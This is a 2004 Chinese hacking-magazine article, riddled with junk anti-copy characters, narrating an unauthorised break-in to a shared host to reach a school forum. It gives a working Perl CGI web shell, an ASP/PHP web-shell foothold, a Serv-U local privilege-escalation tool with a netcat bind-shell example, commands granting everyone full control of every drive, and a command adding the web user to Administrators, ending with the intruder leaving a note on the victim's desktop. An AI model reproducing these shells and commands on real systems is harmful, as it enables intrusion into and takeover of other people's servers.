剑走偏锋——灵巧的旁注攻击 ! I" G: N+ K1 `/ S
本文作者:angel
+ {6 P" G( D `! F& a- ?8 C8 K, G文章性质:原创
9 V7 C) F4 u/ D% V发布日期:2004-11-09 ! b7 i7 K, p. r/ u6 \' b1 M
注意:
& A; T5 _0 S' B本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
! e1 ^* M+ a$ ?本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
" U+ x8 f1 M3 J6 r3 P( q
9 P3 d+ J K! \2 C& l 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 5 y* D6 k5 a/ D5 ]. h
6 l9 \& @& R* s% V8 n3 \0 o1 e 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
' N& L5 T/ D; }
) P" Z0 u- y2 G3 y; I8 r 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ' @7 `. p& m* i# _! b
7 X2 I9 d* C+ G, U% p9 {* A 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 . m0 }7 q5 K# }$ F& D) [
?3 h3 `! h. B( Y/ F7 S" }$ q 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
" S" ]7 S' ^3 J$ `- z! _# i- r ?
B- v$ f$ l( l. m8 b; l4 B 没有目的的跳转目录着……
9 C+ |8 V: H) e! {& L: N/ Q
/ T3 V6 z* J' v, c' G/ g+ ] 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… , M3 t+ a7 X+ E
2 m4 L, o3 t# c% B
结束了吗?不,我试着 FTP 一下:
) U3 e+ P& I a1 C* n! T% R2 S z# p/ c
Microsoft Windows 2000 [Version 5.00.2195]
9 U4 U0 }6 c4 n( r5 G(C) 版权所有 1985-2000 Microsoft Corp. ) K" h, {. k, S" q: ^- b
/ j) F3 D0 R) C7 q; dC:\Documents and Settings\Administrator>ftp www.school.com
+ j3 p) K4 V2 u6 Q/ d0 zConnected to www. school.com.
$ |: S* z6 b9 ~5 r+ V0 c! _( ?$ E220 Welcome to FTP Server... & s3 Y) l' M) n9 _6 G: {% j4 d9 J
User (www.bjtrq.com:(none)): 0 {( {1 L& @7 N
331 User name okay, need password.
5 ?& I5 R2 b$ @/ d2 B% CPassword: + A5 ^* X4 D2 W+ U; N3 E
530 Not logged in.
1 H; }2 O$ P% P' p8 zLogin failed. & \2 Y( h9 A$ H( i: S
ftp> bye ' q% a% s8 s4 w+ P8 I, W) h
221 Goodbye!
. f, C2 v4 E- [
/ l$ T) {. `0 H, S5 _$ M4 |) ]: d+ H2 q, h' u* z
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
8 w8 m, q u" E d. [, V3 U/ H
5 n: |- f9 K1 Q+ A" B" w 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 3 \1 j8 L; N& z( w5 {! g: s. a
5 @2 a6 q# t$ d) L% Q
Application Data" K& q! o) w+ h: @8 `4 i' V# s) O* Y
Documents5 i5 x; t/ Z6 X# x7 H
DRM: W U; b9 W, E% `; t" @
Favorites
5 W2 P4 \ v! b6 v; V. R) q- X0 ?& OTemplates
& n( M7 B: F7 k- _& w- w「开始」菜单
" u# ^* W# z) x y; n5 {0 T桌面
) V V, I7 S- R8 S: h2 B 5 w9 ~: n+ H0 i0 ~# X, j0 m# b
" i$ P/ B$ s5 A
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
/ U3 ~9 B% y& W. W# y" r
" m! Q' h) z7 b6 Y4 E5 pActiveState ActivePerl 5.8
1 ]0 t. O& }0 C3 y( UAdministrative Tools! j+ h( n; ^0 U }. k) N. ?
Deerfield.com+ F3 M+ x- Z0 e
DTemp
$ J7 h5 O* Y, M: p) b' ~" T4 S" o% WIPSentry
* \; X- W. o1 H$ _- e& \MBM 5. [- C1 ?* n% n2 @1 p9 b2 O
NetMeter
; R) Q+ @% V; g+ a5 l" vNetwork ICE
6 X0 n+ z+ J' g4 E2 r9 I0 RPersits Software AspEmail' ^) U0 C. }1 `) R' M# `$ N
Persits Software AspJpeg+ a$ |% q' z% ^: E
Serv-U FTP Server
$ u% U% r" {9 `8 b; G* N6 qSymantec Client Security
4 z' l8 H n$ ZWindows 优化大师* `6 E( m6 g- o7 l( W7 M k
WinRAR+ @; A5 h( h K% K
启动
8 d$ q, N9 A3 j+ E' k( d1 ]# D管理工具& K4 F2 b1 m; y& b2 V6 ^
附件
" P# Q: V# V) ]0 ?! g6 | h0 }% y0 w
: N+ U3 _8 d, \5 b" U/ S
0 S5 h0 M+ D' ?- z 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
! |+ Q( ?. [' Y' U$ n! W% i9 i( h9 x: M3 c8 x( F
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: d2 x9 X1 E# _0 b& ?, w \, s
; B. c* S- R0 @9 z4 I7 G9 C
User281=angel|1|0
* y3 i. }2 f& H8 i& e( B6 |/ Y 8 y0 l& Z5 W! N1 |
2 K: Z. V. v, o' s: Y2 Q 然后加上 " W6 A* j4 V, v( t
! _, F1 ^; [, ]6 |' D( P[USER=angel|1]0 Y- D/ U. ^$ Z$ A5 ~, @
Password=ng98F85379EA68DBF97BAADCA99B69B805& M3 L! o/ X2 q! f# t* ^5 D9 H
HomeDir=D:\websites
+ G# x3 l9 s+ F- ~6 }RelPaths=1( N) }/ R6 U* I( a
TimeOut=600
3 R/ I, n0 h2 `/ }4 \. A8 @, bMaintenance=System# Q/ Z: _3 i. u6 @7 U
Access1=D:\websites|RWAMELCDP$ E0 ?' X7 U$ ?( \! f# s
SKEYValues=2 z' v- k+ |! y8 Y
# z' j, g# _, Z5 c; T
8 A3 n1 R% C! w6 ] 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ; O2 f4 J/ ~4 J' w* r
; w& @) w- \- U$ S9 b# ` 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
$ R2 J" k2 k4 T3 N0 i2 y. x! r# n
$ h( S6 O9 ^3 H1 i. a" v5 ~ 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 4 S j' o% i4 W9 h' I5 T4 e
5 A) @% x9 V n$ w% p' o2 I
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
9 i) m$ u2 T* {4 C+ z. E' L' f) t" Y( C* q" V4 |% D0 f4 |! S
#!/usr/bin/perl6 D1 n$ n3 p9 P& N7 [; Y& _* x/ B& n
binmode(STDOUT);
) a7 n; r! v* Z6 @6 W0 q% Tsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' Q6 E) F2 x- E$_ = $ENV{QUERY_STRING};
9 X$ R5 G) n3 k8 c x; Ts/%20/ /ig;
- Z" z# q5 ?7 ~6 x2 y0 i3 qs/%2f/\//ig;
' w0 O5 U1 k7 S! R$execthis = $_;
: K8 r2 A+ c/ a7 J) `; nsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
/ n0 V1 F) Q `open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";: C Z; R( w I; i1 ?
system($execthis);
" R! ]1 U, m1 psyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);; s. A# O; h9 K t0 C8 H8 E
close(STDERR);
3 F7 x- i' ~; W5 T0 k7 Xclose(STDOUT);' o2 `# T' h3 a: l% H J4 C
exit; L9 D3 t8 e" _, G, `: O1 u" c
. j* P$ ~: k! Z* c# Z* N! \0 j) Z
" d! L3 m; v1 i8 O9 f5 P9 V! v3 \
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
4 w; Y% X! Z3 u# O* ]
' w8 A8 }! X. \* K1 e 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: " J/ o L- X. v) F+ r: h
, G/ N& @. W; M$ h: j Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe
5 |4 M# ?' h9 _: b5 t 2 m% G9 A1 @9 G$ K: m
$ \# J8 @. I$ n8 L* P/ O 返回: , c! a- l0 U: K, K' c8 c
2 _7 I- F$ k; n$ YServ-u >3.x Local Exploit by xiaolu , ]! W* j* U7 K+ Z% i
/ b$ q+ G' V' @' [# _) Z. E" wUSAGE: serv-u.exe "command" 9 O3 L. U0 y$ s* }7 Y/ u0 \2 x4 U0 U
3 X. A4 N( r" \- Y
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
/ N7 l' w- q) B* @
$ Z3 C0 E1 k& @: ~3 D
! F5 w0 Y+ X! `# }8 Z3 `4 M 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
e7 V' K p1 D5 F+ w
( y$ }( }6 |! D5 R; S0 S' Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
" |* u9 [* E7 a* w+ B6 S; h1 X8 n6 z% p8 j- x$ G0 g
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
0 G- |/ b: _4 l! C% d
5 B7 k. C: o1 Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
% l, y% H8 X2 V/ m
/ ^7 q, O1 x" p6 U- Khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
. C6 o+ X; Y: d" m , S6 B# d% b8 @4 s6 Z
( y7 D9 ?1 S! u K* w' T( _ 返回下面的信息,就表示成功了!!! 7 u7 L" w7 q7 {8 I8 N" w
. j5 W# ^$ E' Z+ ~
Serv-u >3.x Local Exploit by xiaolu ' C7 U, E5 ^/ {: M' P8 m) B
8 \. |8 ~. \# Q5 Q! G6 [' A
<220 Serv-U FTP Server v5.2 for WinSock ready...
. Z7 q# L; u( E; \9 T8 K' x/ A
4 d+ v) C* h; q2 X1 G/ ]5 ]>USER LocalAdministrator 0 W: U1 X+ h7 Z I( @: S* K4 l
+ b O+ N t" K/ r) J
<331 User name okay, need password.
r% V! c5 U; Z; h9 K3 N) _% c; i& `/ f- D9 M3 |
******************************************************
, B2 F# O' k! R/ M( W- e
. v0 S$ p4 a# h5 N) k9 @>PASS #l@$ak#.lk;0@P
0 \2 A" N3 R% H, m7 h( V, U {. I+ u0 x% l A' g! o
<230 User logged in, proceed. / h$ U+ l- u) ?% e% B
6 `1 C' m2 e& f: \
****************************************************** - S$ `2 _( B: C$ Z5 ~
3 _% r. e8 C) s; v>SITE MAINTENANCE 1 S+ r- l3 ^* l" u
; x! v. R8 X/ j' ?1 p
******************************************************
1 D4 }: W8 }$ z8 v# ^6 H1 e( b2 Y) \4 y0 G0 k& |; q: v P, T8 L
[+] Creating New Domain... ' \. J3 D, v8 R+ f+ l
; E1 h- X3 S+ \) _; i<200-DomainID=2
9 s" {# Q% ^: C0 z: f7 k' C+ U: V& ^3 P* M
<220 Domain settings saved 5 `8 D# z9 B& T* g" P& F
- h) J5 c5 W$ b! J7 a( b****************************************************** $ b, h( H# A9 r( R
* R0 O9 l' _ M6 P# _- N
[+] Domain xl:2 Created 2 G3 E1 g' ^0 s* `3 k: b: s* s: P
' W5 p/ ^9 D0 o" F/ p& q[+] Creating Evil User - r5 p6 s; {( U! h. V$ G/ F
. y' W$ N- ~4 D4 `: D+ ~& K: }% w<200-User=xl
, n8 t5 Y b0 q
; w n4 ~8 L' e2 @3 K200 User settings saved
0 l: y: V% z5 s# j$ f y% {) r* p6 S+ S
****************************************************** 1 F& z5 t1 U# Y/ F$ v1 s8 L
+ t4 b, p5 }& l+ H$ \; g[+] Now Exploiting...
) x# f9 k% S) n+ w* r* v* ~" A1 i
& p6 v* a6 o1 S4 Z3 v1 w/ e>USER xl x! I7 A8 O& V G; U: W. M
6 K& O* p* E' {( X$ g( ^
<331 User name okay, need password.
" T: g' z+ n: d" U. ^: h
X. z: s' g) }******************************************************
* S' }: o3 Y: C1 m4 P' j
# T. \( z0 r, L& A>PASS 111111
0 ~; U6 w: |/ j( C( C7 I' K: x+ h1 h. e _3 A+ B$ r
<230 User logged in, proceed. , \0 A5 z, n7 i$ c+ T4 B/ Q; E
0 X2 ^$ Y1 A$ d! X7 r
******************************************************
- b, [2 Y& B3 V/ q0 o
6 v4 n6 Y4 p9 G2 M* f. P[+] Now Executing: cacls.exe c: /E /T /G everyone:F
3 A8 ^0 s3 c$ `7 {, t4 h
& ?$ m/ [+ z6 `# k<220 Domain deleted
7 M2 I ]- M W8 ]# y( U2 ^
% |6 B4 z* o% a1 }0 d* W1 g******************************************************
! ]; K5 S+ o, s* E9 c/ K) w : _3 D9 u U- y" Q
; J2 ]5 z0 R1 l 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
- ~8 _3 V: H( u& _; A5 D, c4 D& G" U: w: V. R
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
5 k. ~% B, e) k& ?' ]# P
7 c; A3 c% m0 {) h
' o/ ?5 w, ^4 z 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 + G g9 f2 V: ?4 X0 `: {
" {, c" Q3 R. _" \3 G5 T
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
@. ?/ g+ Z/ |7 X$ o6 _
& P+ I( m f/ }8 X 9 p1 Y( O5 u5 w( y/ t: E' W
|